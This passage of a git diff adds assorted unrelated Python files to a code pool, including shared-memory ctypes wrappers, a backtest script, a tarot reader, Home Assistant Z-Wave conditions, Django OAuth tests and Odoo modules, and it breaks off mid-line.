ctypes.c_long, 'L': ctypes.c_ulong, + 'f': ctypes.c_float, 'd': ctypes.c_double + } + + +def _new_value(type_): + size = ctypes.sizeof(type_) + wrapper = heap.BufferWrapper(size) + return rebuild_ctype(type_, wrapper, None) + + +def RawValue(typecode_or_type, *args): + ''' + Returns a ctypes object allocated from shared memory + ''' + type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) + obj = _new_value(type_) + ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) + obj.__init__(*args) + return obj + + +def RawArray(typecode_or_type, size_or_initializer): + ''' + Returns a ctypes array allocated from shared memory + ''' + type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) + if isinstance(size_or_initializer, (int, long)): + type_ = type_ * size_or_initializer + obj = _new_value(type_) + ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) + return obj + else: + type_ = type_ * len(size_or_initializer) + result = _new_value(type_) + result.__init__(*size_or_initializer) + return result + + +def Value(typecode_or_type, *args, **kwds): + ''' + Return a synchronization wrapper for a Value + ''' + lock = kwds.pop('lock', None) + if kwds: + raise ValueError('unrecognized keyword argument(s): %s' % kwds.keys()) + obj = RawValue(typecode_or_type, *args) + if lock is False: + return obj + if lock in (True, None): + lock = RLock() + if not hasattr(lock, 'acquire'): + raise AttributeError("'%r' has no method 'acquire'" % lock) + return synchronized(obj, lock) + + +def Array(typecode_or_type, size_or_initializer, **kwds): + ''' + Return a synchronization wrapper for a RawArray + ''' + lock = kwds.pop('lock', None) + if kwds: + raise ValueError('unrecognized keyword argument(s): %s' % kwds.keys()) + obj = RawArray(typecode_or_type, size_or_initializer) + if lock is False: + return obj + if lock in (True, None): + lock = RLock() + if not hasattr(lock, 'acquire'): + raise AttributeError("'%r' has no method 'acquire'" % lock) + return synchronized(obj, lock) + + +def copy(obj): + new_obj = _new_value(type(obj)) + ctypes.pointer(new_obj)[0] = obj + return new_obj + + +def synchronized(obj, lock=None): + assert not isinstance(obj, SynchronizedBase), 'object already synchronized' + + if isinstance(obj, ctypes._SimpleCData): + return Synchronized(obj, lock) + elif isinstance(obj, ctypes.Array): + if obj._type_ is ctypes.c_char: + return SynchronizedString(obj, lock) + return SynchronizedArray(obj, lock) + else: + cls = type(obj) + try: + scls = class_cache[cls] + except KeyError: + names = [field[0] for field in cls._fields_] + d = dict((name, make_property(name)) for name in names) + classname = 'Synchronized' + cls.__name__ + scls = class_cache[cls] = type(classname, (SynchronizedBase,), d) + return scls(obj, lock) + +# +# Functions for pickling/unpickling +# + + +def reduce_ctype(obj): + assert_spawning(obj) + if isinstance(obj, ctypes.Array): + return rebuild_ctype, (obj._type_, obj._wrapper, obj._length_) + else: + return rebuild_ctype, (type(obj), obj._wrapper, None) + + +def rebuild_ctype(type_, wrapper, length): + if length is not None: + type_ = type_ * length + ForkingPickler.register(type_, reduce_ctype) + obj = type_.from_address(wrapper.get_address()) + obj._wrapper = wrapper + return obj + +# +# Function to create properties +# + + +def make_property(name): + try: + return prop_cache[name] + except KeyError: + d = {} + exec(template % ((name, ) * 7), d) + prop_cache[name] = d[name] + return d[name] + +template = ''' +def get%s(self): + self.acquire() + try: + return self._obj.%s + finally: + self.release() +def set%s(self, value): + self.acquire() + try: + self._obj.%s = value + finally: + self.release() +%s = property(get%s, set%s) +''' + +prop_cache = {} +class_cache = weakref.WeakKeyDictionary() + +# +# Synchronized wrappers +# + + +class SynchronizedBase(object): + + def __init__(self, obj, lock=None): + self._obj = obj + self._lock = lock or RLock() + self.acquire = self._lock.acquire + self.release = self._lock.release + + def __reduce__(self): + assert_spawning(self) + return synchronized, (self._obj, self._lock) + + def get_obj(self): + return self._obj + + def get_lock(self): + return self._lock + + def __repr__(self): + return '<%s wrapper for %s>' % (type(self).__name__, self._obj) + + +class Synchronized(SynchronizedBase): + value = make_property('value') + + +class SynchronizedArray(SynchronizedBase): + + def __len__(self): + return len(self._obj) + + def __getitem__(self, i): + self.acquire() + try: + return self._obj[i] + finally: + self.release() + + def __setitem__(self, i, value): + self.acquire() + try: + self._obj[i] = value + finally: + self.release() + + def __getslice__(self, start, stop): + self.acquire() + try: + return self._obj[start:stop] + finally: + self.release() + + def __setslice__(self, start, stop, values): + self.acquire() + try: + self._obj[start:stop] = values + finally: + self.release() + + +class SynchronizedString(SynchronizedArray): + value = make_property('value') + raw = make_property('raw') diff --git a/pool/shard009/Python/0081152_DM0003_Tactical01_VCP_.py b/pool/shard009/Python/0081152_DM0003_Tactical01_VCP_.py new file mode 100644 index 0000000000000000000000000000000000000000..335b759c2461b5e641b7b3dddb47e4dc9aa13b53 --- /dev/null +++ b/pool/shard009/Python/0081152_DM0003_Tactical01_VCP_.py @@ -0,0 +1,23 @@ +import ffn +import os + +from backtest_helpers.compute_weights_RS_DM import compute_weights_RS_DM + +os.chdir('C:\\Users\\scuba\\Google Drive\\PycharmProjects\\SimpleBacktester') +os.getcwd() +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +strategies = { + 'DM0003': {'symbols': ['VCVSX','VGHCX', 'VWEHX','VFIIX','DRGIX','VWAHX'], 'prices': 'yahoo', + 'start': '1986-01-01', 'end': 'today', + 'rs_lookback': 1, 'risk_lookback': 1, 'n_top': 2, 'frequency': 'M', + 'cash_proxy': 'VFIIX', 'risk_free': 0}} + +for name in strategies: + s_value, s_holdings, s_weights, s_prices = compute_weights_RS_DM(name, strategies[name]) + +s_value.plot(figsize=(15, 10), grid=True) + +ffn.calc_perf_stats(s_value).display() + +pass \ No newline at end of file diff --git a/pool/shard009/Python/0081155_perform_ddl.py b/pool/shard009/Python/0081155_perform_ddl.py new file mode 100644 index 0000000000000000000000000000000000000000..b3099ffeeebe88f0f8ba59377865b09845f1b64a --- /dev/null +++ b/pool/shard009/Python/0081155_perform_ddl.py @@ -0,0 +1,106 @@ +''' +DDL statements for Elixir. + +Entities having the perform_ddl statement, will automatically execute the +given DDL statement, at the given moment: ether before or after the table +creation in SQL. + +The 'when' argument can be either 'before-create' or 'after-create'. +The 'statement' argument can be one of: + +- a single string statement +- a list of string statements, in which case, each of them will be executed + in turn. +- a callable which should take no argument and return either a single string + or a list of strings. + +In each string statement, you may use the special '%(fullname)s' construct, +that will be replaced with the real table name including schema, if unknown +to you. Also, self explained '%(table)s' and '%(schema)s' may be used here. + +You would use this extension to handle non elixir sql statemts, like triggers +etc. + +.. sourcecode:: python + + class Movie(Entity): + title = Field(Unicode(30), primary_key=True) + year = Field(Integer) + + perform_ddl('after-create', + "insert into %(fullname)s values ('Alien', 1979)") + +preload_data is a more specific statement meant to preload data in your +entity table from a list of tuples (of fields values for each row). + +.. sourcecode:: python + + class Movie(Entity): + title = Field(Unicode(30), primary_key=True) + year = Field(Integer) + + preload_data(('title', 'year'), + [(u'Alien', 1979), (u'Star Wars', 1977)]) + preload_data(('year', 'title'), + [(1982, u'Blade Runner')]) + preload_data(data=[(u'Batman', 1966)]) +''' + +from elixir.statements import Statement +from elixir.properties import EntityBuilder +from sqlalchemy import DDL + +__all__ = ['perform_ddl', 'preload_data'] +__doc_all__ = [] + +# +# the perform_ddl statement +# +class PerformDDLEntityBuilder(EntityBuilder): + + def __init__(self, entity, when, statement, on=None, context=None): + self.entity = entity + self.when = when + self.statement = statement + self.on = on + self.context = context + + def after_table(self): + statement = self.statement + if hasattr(statement, '__call__'): + statement = statement() + if not isinstance(statement, list): + statement = [statement] + for s in statement: + ddl = DDL(s, self.on, self.context) + ddl.execute_at(self.when, self.entity.table) + +perform_ddl = Statement(PerformDDLEntityBuilder) + +# +# the preload_data statement +# +class PreloadDataEntityBuilder(EntityBuilder): + + def __init__(self, entity, columns=None, data=None): + self.entity = entity + self.columns = columns + self.data = data + + def after_table(self): + all_columns = [col.name for col in self.entity.table.columns] + def onload(event, schema_item, connection): + columns = self.columns + if columns is None: + columns = all_columns + data = self.data + if hasattr(data, '__call__'): + data = data() + insert = schema_item.insert() + connection.execute(insert, + [dict(list(zip(columns, values))) for values in data]) + + self.entity.table.append_ddl_listener('after-create', onload) + +preload_data = Statement(PreloadDataEntityBuilder) + diff --git a/pool/shard009/Python/0081157_tarot.py b/pool/shard009/Python/0081157_tarot.py new file mode 100644 index 0000000000000000000000000000000000000000..7e1bb7221b2f964654e87b7e0c2a2afc3cd53926 --- /dev/null +++ b/pool/shard009/Python/0081157_tarot.py @@ -0,0 +1,52 @@ +# -*- coding: utf-8 -*- +# this is a python program to perform divination +# using the system of your choice. call a text file +# with a list of the possible cards, runes, animals, +# or other symbols. + +from sys import argv +import random + +script, filename = argv + +location = ['The Present','The Obstacle','The Past','The Future','Above','Below','Advice','External Influences','Hopes and Fears', 'Outcome'] + +# auto generate list of minor arcana +def generate_list_of_minor_arcana(): + suits = ['Wands','Swords','Cups','Pentacles'] + num_of = ['1','2','3','4','5','6','7','8','9','10','Page','Knight','Queen','King'] + + for n in suits: + for m in num_of: + print "%s of %s" % (m, n) + +# print the name of a card +def print_a_card(): + return random.choice(card) + +# load the card names +with open(filename) as f: + card = [x.strip('\n') for x in f.readlines()] + +# prompt the user +print('There are three kinds of readings:') +print('1. Single Card') +print('2. Triple Card') +print('3. Celtic Cross') + +reading_type = input('What kind of reading do you want?\n') + +if reading_type is 1: + # readi a single card + print "Your single card is: %s" % print_a_card() +elif reading_type is 2: + # read three card + print "You have chosen three cards: %s, %s, and %s."\ + % (print_a_card(), print_a_card(), print_a_card()) +elif reading_type is 3: + # read the cards of the cross: + for a in range(1,10,1): + print a,location[a] + print " ",print_a_card() + + diff --git a/pool/shard009/Python/0081158_backend_app.py b/pool/shard009/Python/0081158_backend_app.py new file mode 100644 index 0000000000000000000000000000000000000000..1300ed05ba947e7f345ef4eaf1da61795dde9100 --- /dev/null +++ b/pool/shard009/Python/0081158_backend_app.py @@ -0,0 +1,107 @@ +# -*- coding: utf-8 -*- +# backend_app.py +# Copyright (C) 2013, 2014 LEAP +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +""" +Start point for the Backend. +""" +import multiprocessing +import signal + +from twisted.internet import reactor + +from leap.common.events import server as event_server + +from leap.bitmask.backend.leapbackend import LeapBackend +from leap.bitmask.backend.utils import generate_zmq_certificates +from leap.bitmask.config import flags +from leap.bitmask.logs.utils import get_logger +from leap.bitmask.util import dict_to_flags + + +def signal_handler(signum, frame): + """ + Signal handler that quits the running app cleanly. + + :param signum: number of the signal received (e.g. SIGINT -> 2) + :type signum: int + :param frame: current stack frame + :type frame: frame or None + """ + # Note: we don't stop the backend in here since the frontend signal handler + # will take care of that. + # In the future we may need to do the stop in here when the frontend and + # the backend are run separately (without multiprocessing) + pname = multiprocessing.current_process().name + print "{0}: SIGNAL #{1} catched.".format(pname, signum) + + +def run_backend(bypass_checks=False, flags_dict=None, frontend_pid=None): + """ + Run the backend for the application. + This is called from the main app.py entrypoint, and is run in a child + subprocess. + + :param bypass_checks: whether we should bypass the checks or not + :type bypass_checks: bool + :param flags_dict: a dict containing the flag values set on app start. + :type flags_dict: dict + """ + # In the backend, we want all the components to log into logbook + # that is: logging handlers and twisted logs + from logbook.compat import redirect_logging + from twisted.python.log import PythonLoggingObserver + redirect_logging() + observer = PythonLoggingObserver() + observer.start() + + # NOTE: this needs to be used here, within the call since this function is + # executed in a different process and it seems that the process/thread + # identification isn't working 100% + logger = get_logger() # noqa + + # The backend is the one who always creates the certificates. Either if it + # is run separately or in a process in the same app as the frontend. + if flags.ZMQ_HAS_CURVE: + generate_zmq_certificates() + + # ignore SIGINT since app.py takes care of signaling SIGTERM to us. + signal.signal(signal.SIGINT, signal.SIG_IGN) + signal.signal(signal.SIGTERM, signal_handler) + + if flags_dict is not None: + dict_to_flags(flags_dict) + + reactor.callWhenRunning(start_events_and_updater, logger) + + backend = LeapBackend(bypass_checks=bypass_checks, + frontend_pid=frontend_pid) + backend.run() + + +def start_events_and_updater(logger): + event_server.ensure_server() + + if flags.STANDALONE: + try: + from leap.bitmask.updater import Updater + updater = Updater() + updater.start() + except ImportError: + logger.error("Updates are not enabled in this distribution.") + + +if __name__ == '__main__': + run_backend() diff --git a/pool/shard009/Python/0081161_device_condition.py b/pool/shard009/Python/0081161_device_condition.py new file mode 100644 index 0000000000000000000000000000000000000000..8bb151199d774f91fc808d105161ef19d16ca77f --- /dev/null +++ b/pool/shard009/Python/0081161_device_condition.py @@ -0,0 +1,243 @@ +"""Provide the device conditions for Z-Wave JS.""" +from __future__ import annotations + +from typing import cast + +import voluptuous as vol +from zwave_js_server.const import CommandClass +from zwave_js_server.model.value import ConfigurationValue + +from homeassistant.components.device_automation.exceptions import ( + InvalidDeviceAutomationConfig, +) +from homeassistant.const import CONF_CONDITION, CONF_DEVICE_ID, CONF_DOMAIN, CONF_TYPE +from homeassistant.core import HomeAssistant, callback +from homeassistant.exceptions import HomeAssistantError +from homeassistant.helpers import condition, config_validation as cv +from homeassistant.helpers.typing import ConfigType, TemplateVarsType + +from .const import ( + ATTR_COMMAND_CLASS, + ATTR_ENDPOINT, + ATTR_PROPERTY, + ATTR_PROPERTY_KEY, + ATTR_VALUE, + DOMAIN, + VALUE_SCHEMA, +) +from .device_automation_helpers import ( + CONF_SUBTYPE, + CONF_VALUE_ID, + NODE_STATUSES, + generate_config_parameter_subtype, + get_config_parameter_value_schema, +) +from .helpers import ( + async_get_node_from_device_id, + async_is_device_config_entry_not_loaded, + check_type_schema_map, + get_zwave_value_from_config, + remove_keys_with_empty_values, +) + +CONF_STATUS = "status" + +NODE_STATUS_TYPE = "node_status" +CONFIG_PARAMETER_TYPE = "config_parameter" +VALUE_TYPE = "value" +CONDITION_TYPES = {NODE_STATUS_TYPE, CONFIG_PARAMETER_TYPE, VALUE_TYPE} + +NODE_STATUS_CONDITION_SCHEMA = cv.DEVICE_CONDITION_BASE_SCHEMA.extend( + { + vol.Required(CONF_TYPE): NODE_STATUS_TYPE, + vol.Required(CONF_STATUS): vol.In(NODE_STATUSES), + } +) + +CONFIG_PARAMETER_CONDITION_SCHEMA = cv.DEVICE_CONDITION_BASE_SCHEMA.extend( + { + vol.Required(CONF_TYPE): CONFIG_PARAMETER_TYPE, + vol.Required(CONF_VALUE_ID): cv.string, + vol.Required(CONF_SUBTYPE): cv.string, + vol.Optional(ATTR_VALUE): vol.Coerce(int), + } +) + +VALUE_CONDITION_SCHEMA = cv.DEVICE_CONDITION_BASE_SCHEMA.extend( + { + vol.Required(CONF_TYPE): VALUE_TYPE, + vol.Required(ATTR_COMMAND_CLASS): vol.In([cc.value for cc in CommandClass]), + vol.Required(ATTR_PROPERTY): vol.Any(vol.Coerce(int), cv.string), + vol.Optional(ATTR_PROPERTY_KEY): vol.Any(vol.Coerce(int), cv.string), + vol.Optional(ATTR_ENDPOINT): vol.Coerce(int), + vol.Required(ATTR_VALUE): VALUE_SCHEMA, + } +) + +TYPE_SCHEMA_MAP = { + NODE_STATUS_TYPE: NODE_STATUS_CONDITION_SCHEMA, + CONFIG_PARAMETER_TYPE: CONFIG_PARAMETER_CONDITION_SCHEMA, + VALUE_TYPE: VALUE_CONDITION_SCHEMA, +} + + +CONDITION_TYPE_SCHEMA = vol.Schema( + {vol.Required(CONF_TYPE): vol.In(TYPE_SCHEMA_MAP)}, extra=vol.ALLOW_EXTRA +) + +CONDITION_SCHEMA = vol.All( + remove_keys_with_empty_values, + CONDITION_TYPE_SCHEMA, + check_type_schema_map(TYPE_SCHEMA_MAP), +) + + +async def async_validate_condition_config( + hass: HomeAssistant, config: ConfigType +) -> ConfigType: + """Validate config.""" + config = CONDITION_SCHEMA(config) + + # We return early if the config entry for this device is not ready because we can't + # validate the value without knowing the state of the device + try: + device_config_entry_not_loaded = async_is_device_config_entry_not_loaded( + hass, config[CONF_DEVICE_ID] + ) + except ValueError as err: + raise InvalidDeviceAutomationConfig( + f"Device {config[CONF_DEVICE_ID]} not found" + ) from err + + if device_config_entry_not_loaded: + return config + + if config[CONF_TYPE] == VALUE_TYPE: + try: + node = async_get_node_from_device_id(hass, config[CONF_DEVICE_ID]) + get_zwave_value_from_config(node, config) + except vol.Invalid as err: + raise InvalidDeviceAutomationConfig(err.msg) from err + + return config + + +async def async_get_conditions( + hass: HomeAssistant, device_id: str +) -> list[dict[str, str]]: + """List device conditions for Z-Wave JS devices.""" + conditions = [] + base_condition = { + CONF_CONDITION: "device", + CONF_DEVICE_ID: device_id, + CONF_DOMAIN: DOMAIN, + } + node = async_get_node_from_device_id(hass, device_id) + + # Any value's value condition + conditions.append({**base_condition, CONF_TYPE: VALUE_TYPE}) + + # Node status conditions + conditions.append({**base_condition, CONF_TYPE: NODE_STATUS_TYPE}) + + # Config parameter conditions + conditions.extend( + [ + { + **base_condition, + CONF_VALUE_ID: config_value.value_id, + CONF_TYPE: CONFIG_PARAMETER_TYPE, + CONF_SUBTYPE: generate_config_parameter_subtype(config_value), + } + for config_value in node.get_configuration_values().values() + ] + ) + + return conditions + + +@callback +def async_condition_from_config( + hass: HomeAssistant, config: ConfigType +) -> condition.ConditionCheckerType: + """Create a function to test a device condition.""" + condition_type = config[CONF_TYPE] + device_id = config[CONF_DEVICE_ID] + + @callback + def test_node_status(hass: HomeAssistant, variables: TemplateVarsType) -> bool: + """Test if node status is a certain state.""" + node = async_get_node_from_device_id(hass, device_id) + return bool(node.status.name.lower() == config[CONF_STATUS]) + + if condition_type == NODE_STATUS_TYPE: + return test_node_status + + @callback + def test_config_parameter(hass: HomeAssistant, variables: TemplateVarsType) -> bool: + """Test if config parameter is a certain state.""" + node = async_get_node_from_device_id(hass, device_id) + config_value = cast(ConfigurationValue, node.values[config[CONF_VALUE_ID]]) + return bool(config_value.value == config[ATTR_VALUE]) + + if condition_type == CONFIG_PARAMETER_TYPE: + return test_config_parameter + + @callback + def test_value(hass: HomeAssistant, variables: TemplateVarsType) -> bool: + """Test if value is a certain state.""" + node = async_get_node_from_device_id(hass, device_id) + value = get_zwave_value_from_config(node, config) + return bool(value.value == config[ATTR_VALUE]) + + if condition_type == VALUE_TYPE: + return test_value + + raise HomeAssistantError(f"Unhandled condition type {condition_type}") + + +@callback +async def async_get_condition_capabilities( + hass: HomeAssistant, config: ConfigType +) -> dict[str, vol.Schema]: + """List condition capabilities.""" + device_id = config[CONF_DEVICE_ID] + node = async_get_node_from_device_id(hass, device_id) + + # Add additional fields to the automation trigger UI + if config[CONF_TYPE] == CONFIG_PARAMETER_TYPE: + value_id = config[CONF_VALUE_ID] + value_schema = get_config_parameter_value_schema(node, value_id) + if value_schema is None: + return {} + return {"extra_fields": vol.Schema({vol.Required(ATTR_VALUE): value_schema})} + + if config[CONF_TYPE] == VALUE_TYPE: + # Only show command classes on this node and exclude Configuration CC since it + # is already covered + return { + "extra_fields": vol.Schema( + { + vol.Required(ATTR_COMMAND_CLASS): vol.In( + { + CommandClass(cc.id).value: cc.name + for cc in sorted(node.command_classes, key=lambda cc: cc.name) # type: ignore[no-any-return] + if cc.id != CommandClass.CONFIGURATION + } + ), + vol.Required(ATTR_PROPERTY): cv.string, + vol.Optional(ATTR_PROPERTY_KEY): cv.string, + vol.Optional(ATTR_ENDPOINT): cv.string, + vol.Required(ATTR_VALUE): cv.string, + } + ) + } + + if config[CONF_TYPE] == NODE_STATUS_TYPE: + return { + "extra_fields": vol.Schema( + {vol.Required(CONF_STATUS): vol.In(NODE_STATUSES)} + ) + } + + return {} diff --git a/pool/shard009/Python/0081175_nova.py b/pool/shard009/Python/0081175_nova.py new file mode 100644 index 0000000000000000000000000000000000000000..f1084128d2d65625755b8f41b72607dc98a6d6dd --- /dev/null +++ b/pool/shard009/Python/0081175_nova.py @@ -0,0 +1,51 @@ +# Copyright 2016 Red Hat, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +"""Handle communication with Nova.""" + +from novaclient import client +from oslo_config import cfg +from oslo_log import log as logging + +from novajoin import keystone_client + + +CONF = cfg.CONF + +LOG = logging.getLogger(__name__) + +NOVA_APIVERSION = 2.1 + + +class NovaClient(object): + """Wrapper around nova client.""" + + def __init__(self): + + self.version = NOVA_APIVERSION + self.client = self._nova_client() + + def _nova_client(self): + """Instantiate a new novaclient.Client object.""" + + session = keystone_client.get_session() + return client.Client(str(self.version), session=session) + + +def get_instance(instance_id): + novaclient = NovaClient() + try: + return novaclient.client.servers.get(instance_id) + except novaclient.exceptions.NotFound: + return None diff --git a/pool/shard009/Python/0081177_test_forms.py b/pool/shard009/Python/0081177_test_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..392935c6ab21baa8da0451dbd807b6f4372f4778 --- /dev/null +++ b/pool/shard009/Python/0081177_test_forms.py @@ -0,0 +1,70 @@ +""" +Tests for OAuth token exchange forms +""" +import unittest + +from django.conf import settings +from django.contrib.sessions.middleware import SessionMiddleware +from django.test import TestCase +from django.test.client import RequestFactory +import httpretty +from provider import scope +import social.apps.django_app.utils as social_utils + +from oauth_exchange.forms import AccessTokenExchangeForm +from oauth_exchange.tests.utils import AccessTokenExchangeTestMixin +from third_party_auth.tests.utils import ThirdPartyOAuthTestMixinFacebook, ThirdPartyOAuthTestMixinGoogle + + +class AccessTokenExchangeFormTest(AccessTokenExchangeTestMixin): + """ + Mixin that defines test cases for AccessTokenExchangeForm + """ + def setUp(self): + super(AccessTokenExchangeFormTest, self).setUp() + self.request = RequestFactory().post("dummy_url") + SessionMiddleware().process_request(self.request) + self.request.social_strategy = social_utils.load_strategy(self.request, self.BACKEND) + + def _assert_error(self, data, expected_error, expected_error_description): + form = AccessTokenExchangeForm(request=self.request, data=data) + self.assertEqual( + form.errors, + {"error": expected_error, "error_description": expected_error_description} + ) + self.assertNotIn("partial_pipeline", self.request.session) + + def _assert_success(self, data, expected_scopes): + form = AccessTokenExchangeForm(request=self.request, data=data) + self.assertTrue(form.is_valid()) + self.assertEqual(form.cleaned_data["user"], self.user) + self.assertEqual(form.cleaned_data["client"], self.oauth_client) + self.assertEqual(scope.to_names(form.cleaned_data["scope"]), expected_scopes) + + +# This is necessary because cms does not implement third party auth +@unittest.skipUnless(settings.FEATURES.get("ENABLE_THIRD_PARTY_AUTH"), "third party auth not enabled") +@httpretty.activate +class AccessTokenExchangeFormTestFacebook( + AccessTokenExchangeFormTest, + ThirdPartyOAuthTestMixinFacebook, + TestCase +): + """ + Tests for AccessTokenExchangeForm used with Facebook + """ + pass + + +# This is necessary because cms does not implement third party auth +@unittest.skipUnless(settings.FEATURES.get("ENABLE_THIRD_PARTY_AUTH"), "third party auth not enabled") +@httpretty.activate +class AccessTokenExchangeFormTestGoogle( + AccessTokenExchangeFormTest, + ThirdPartyOAuthTestMixinGoogle, + TestCase +): + """ + Tests for AccessTokenExchangeForm used with Google + """ + pass diff --git a/pool/shard009/Python/0081178_main.py b/pool/shard009/Python/0081178_main.py new file mode 100644 index 0000000000000000000000000000000000000000..a19d9246b6b11d3c886b997fca40fbe8cb78a05c --- /dev/null +++ b/pool/shard009/Python/0081178_main.py @@ -0,0 +1,29 @@ +import openerp.http as http +from openerp.http import request, SUPERUSER_ID +import logging +from datetime import datetime +_logger = logging.getLogger(__name__) +import werkzeug +import json + +class MyController(http.Controller): + + + @http.route('/vss/thankyou', type="http", auth="public", website=True) + def vss_thank_you(self, **kw): + return http.request.render('vuente_smart_support_server.vss_thank_you', {}) + + @http.route('/vss/process', type="http", auth="public", website=True) + def vss_process(self, **kwargs): + + values = {} + for field_name, field_value in kwargs.items(): + values[field_name] = field_value + + ref_url = http.request.httprequest.headers['Referer'] + + #Create project issue + project_issue = request.env['project.issue'].create({'name':values['name'] + " (Issue)", 'email_from': values['email'], 'url': values['url'], 'ref_url': ref_url, 'description': values['comment']}) + + + return werkzeug.utils.redirect("/vss/thankyou") \ No newline at end of file diff --git a/pool/shard009/Python/0081179_utils_2dfmc.py b/pool/shard009/Python/0081179_utils_2dfmc.py new file mode 100644 index 0000000000000000000000000000000000000000..b44249b3841ffe26e8a9f02605576d8750887968 --- /dev/null +++ b/pool/shard009/Python/0081179_utils_2dfmc.py @@ -0,0 +1,130 @@ +""" +Set of util functions for the section similarity project. +""" + +import copy +import numpy as np +import json +import scipy.fftpack +import pylab as plt + +def resample_mx(X, incolpos, outcolpos): + """ + Y = resample_mx(X, incolpos, outcolpos) + X is taken as a set of columns, each starting at 'time' + colpos, and continuing until the start of the next column. + Y is a similar matrix, with time boundaries defined by + outcolpos. Each column of Y is a duration-weighted average of + the overlapping columns of X. + 2010-04-14 Dan Ellis dpwe@ee.columbia.edu based on samplemx/beatavg + -> python: TBM, 2011-11-05, TESTED + """ + noutcols = len(outcolpos) + Y = np.zeros((X.shape[0], noutcols)) + # assign 'end times' to final columns + if outcolpos.max() > incolpos.max(): + incolpos = np.concatenate([incolpos,[outcolpos.max()]]) + X = np.concatenate([X, X[:,-1].reshape(X.shape[0],1)], axis=1) + outcolpos = np.concatenate([outcolpos, [outcolpos[-1]]]) + # durations (default weights) of input columns) + incoldurs = np.concatenate([np.diff(incolpos), [1]]) + + for c in range(noutcols): + firstincol = np.where(incolpos <= outcolpos[c])[0][-1] + firstincolnext = np.where(incolpos < outcolpos[c+1])[0][-1] + lastincol = max(firstincol,firstincolnext) + # default weights + wts = copy.deepcopy(incoldurs[firstincol:lastincol+1]) + # now fix up by partial overlap at ends + if len(wts) > 1: + wts[0] = wts[0] - (outcolpos[c] - incolpos[firstincol]) + wts[-1] = wts[-1] - (incolpos[lastincol+1] - outcolpos[c+1]) + wts = wts * 1. / float(sum(wts)) + Y[:,c] = np.dot(X[:,firstincol:lastincol+1], wts) + # done + return Y + +def magnitude(X): + """Magnitude of a complex matrix.""" + r = np.real(X) + i = np.imag(X) + return np.sqrt(r * r + i * i); + +def json_to_bounds(segments_json): + """Extracts the boundaries from a json file and puts them into + an np array.""" + f = open(segments_json) + segments = json.load(f)["segments"] + bounds = [] + for segment in segments: + bounds.append(segment["start"]) + bounds.append(bounds[-1] + segments[-1]["duration"]) # Add last boundary + f.close() + return np.asarray(bounds) + +def json_bounds_to_bounds(bounds_json): + """Extracts the boundaries from a bounds json file and puts them into + an np array.""" + f = open(bounds_json) + segments = json.load(f)["bounds"] + bounds = [] + for segment in segments: + bounds.append(segment["start"]) + f.close() + return np.asarray(bounds) + +def json_to_labels(segments_json): + """Extracts the labels from a json file and puts them into + an np array.""" + f = open(segments_json) + segments = json.load(f)["segments"] + labels = [] + str_labels = [] + for segment in segments: + if not segment["label"] in str_labels: + str_labels.append(segment["label"]) + labels.append(len(str_labels)-1) + else: + label_idx = np.where(np.asarray(str_labels) == segment["label"])[0][0] + labels.append(label_idx) + f.close() + return np.asarray(labels) + +def json_to_beats(beats_json_file): + """Extracts the beats from the beats_json_file and puts them into + an np array.""" + f = open(beats_json_file, "r") + beats_json = json.load(f) + beats = [] + for beat in beats_json["beats"]: + beats.append(beat["start"]) + f.close() + return np.asarray(beats) + +def analyze_results(file): + f = open(file, "r") + lines = f.readlines() + F = [] + for line in lines: + F.append(float(line.split("\t")[0])) + f.close() + #print np.mean(F) + +def compute_ffmc2d(X): + """Computes the 2D-Fourier Magnitude Coefficients.""" + # 2d-fft + fft2 = scipy.fftpack.fft2(X) + + # Magnitude + fft2m = magnitude(fft2) + + # FFTshift and flatten + fftshift = scipy.fftpack.fftshift(fft2m).flatten() + + #cmap = plt.cm.get_cmap('hot') + #plt.imshow(np.log1p(scipy.fftpack.fftshift(fft2m)).T, interpolation="nearest", + # aspect="auto", cmap=cmap) + #plt.show() + + # Take out redundant components + return fftshift[:fftshift.shape[0] // 2 + 1] diff --git a/pool/shard009/Python/0081181_base_advanced_reconciliation.py b/pool/shard009/Python/0081181_base_advanced_reconciliation.py new file mode 100644 index 0000000000000000000000000000000000000000..a9fe439c6439a5d5bd2f09298b75c498da02a71e --- /dev/null +++ b/pool/shard009/Python/0081181_base_advanced_reconciliation.py @@ -0,0 +1,287 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# Author: Guewen Baconnier +# Contributor: Leonardo Pistone +# Copyright 2012-2014 Camptocamp SA +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## +import logging + +from itertools import product +from openerp.osv import orm +from openerp.tools.translate import _ + +_logger = logging.getLogger(__name__) + + +class easy_reconcile_advanced(orm.AbstractModel): + _name = 'easy.reconcile.advanced' + _inherit = 'easy.reconcile.base' + + def _query_debit(self, cr, uid, rec, context=None): + """Select all move (debit>0) as candidate. """ + select = self._select(rec) + sql_from = self._from(rec) + where, params = self._where(rec) + where += " AND account_move_line.debit > 0 " + where2, params2 = self._get_filter(cr, uid, rec, context=context) + query = ' '.join((select, sql_from, where, where2)) + cr.execute(query, params + 